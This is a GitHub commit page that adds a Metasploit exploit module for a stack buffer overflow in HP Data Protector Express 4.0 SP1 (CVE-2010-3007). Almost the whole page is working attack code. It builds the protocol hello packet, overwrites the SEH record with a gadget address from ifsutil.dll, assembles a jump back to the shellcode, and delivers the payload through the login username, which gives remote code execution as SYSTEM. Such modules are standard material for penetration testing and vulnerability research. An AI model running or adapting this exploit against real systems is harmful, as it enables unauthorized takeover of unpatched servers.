Skip to content

Commit e3a126a

Browse files
author
jvazquez-r7
committed
Added module for ZDI-10-174
1 parent bb8f0e5 commit e3a126a

File tree

1 file changed

+147
-0
lines changed

1 file changed

+147
-0
lines changed

‎modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Exploit::Remote::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'HP Data Protector DtbClsLogin Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The
21+
overflow occurs during the login process, in the DtbClsLogin function provided by
22+
the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in a
23+
insecure way with the username. Successful exploitation will lead to code execution
24+
with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server
25+
Service) process, which runs as SYSTEM by default.
26+
},
27+
'Author' =>
28+
[
29+
'AbdulAziz Hariri', # Vulnerability discovery
30+
'juan vazquez' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'CVE', '2010-3007' ],
35+
[ 'OSVDB', '67973' ],
36+
[ 'BID', '43105' ],
37+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ],
38+
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]
39+
],
40+
'Payload' =>
41+
{
42+
'Space' => 712,
43+
'BadChars' => "\x00",
44+
'DisableNops' => true
45+
},
46+
'Platform' => 'win',
47+
'Targets' =>
48+
[
49+
['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',
50+
{
51+
'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
52+
'Offset' => 712
53+
}
54+
]
55+
],
56+
'DefaultTarget' => 0,
57+
'Privileged' => true,
58+
'DisclosureDate' => 'Sep 09 2010'
59+
))
60+
register_options(
61+
[
62+
Opt::RPORT(3817),
63+
], self.class)
64+
end
65+
66+
def check
67+
connect
68+
69+
machine_name = rand_text_alpha(15)
70+
71+
print_status("#{sock.peerinfo} - Sending Hello Request")
72+
hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
73+
hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
74+
hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
75+
hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
76+
hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
77+
hello << "\x00\x00\x00\x00"
78+
hello << machine_name << "\x00"
79+
hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
80+
hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
81+
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
82+
83+
sock.put(hello)
84+
hello_response = sock.get
85+
disconnect
86+
87+
if hello_response and hello_response =~ /Dtb: Context/
88+
return Exploit::CheckCode::Detected
89+
end
90+
91+
return Exploit::CheckCode::Safe
92+
93+
end
94+
95+
def exploit
96+
97+
connect
98+
99+
machine_name = rand_text_alpha(15)
100+
101+
print_status("#{sock.peerinfo} - Sending Hello Request")
102+
hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
103+
hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
104+
hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
105+
hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
106+
hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
107+
hello << "\x00\x00\x00\x00"
108+
hello << machine_name << "\x00"
109+
hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
110+
hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
111+
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
112+
113+
sock.put(hello)
114+
hello_response = sock.get
115+
116+
if not hello_response or hello_response.empty?
117+
print_error("#{sock.peerinfo} - The Hello Request haven't had response")
118+
return
119+
end
120+
121+
bof = payload.encoded
122+
bof << rand_text(target['Offset']-bof.length)
123+
bof << generate_seh_record(target.ret)
124+
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
125+
# The line below is used to trigger exception, don't go confused because of the big space,
126+
# there are only some available bytes until the end of the stack, it allows to assure exception
127+
# when there are mappings for dynamic memory after the stack, so to assure reliability it's better
128+
# to jump back.
129+
bof << rand_text(100000)
130+
131+
header = [0x8451].pack("V") # packet id
132+
header << [0x32020202].pack("V") # svc id
133+
header << [0x00000018].pack("V") # cmd id
134+
header << [0].pack("V") # pkt length, calculated after pkt has been built
135+
header << "\x00\x00\x00\x00" # ?Unknown?
136+
137+
pkt_auth = header
138+
pkt_auth << bof # username
139+
140+
pkt_auth[12, 4] = [pkt_auth.length].pack("V")
141+
142+
print_status("#{sock.peerinfo} - Sending Authentication Request")
143+
144+
sock.put(pkt_auth)
145+
disconnect
146+
end
147+
end

0 commit comments

Comments
 (0)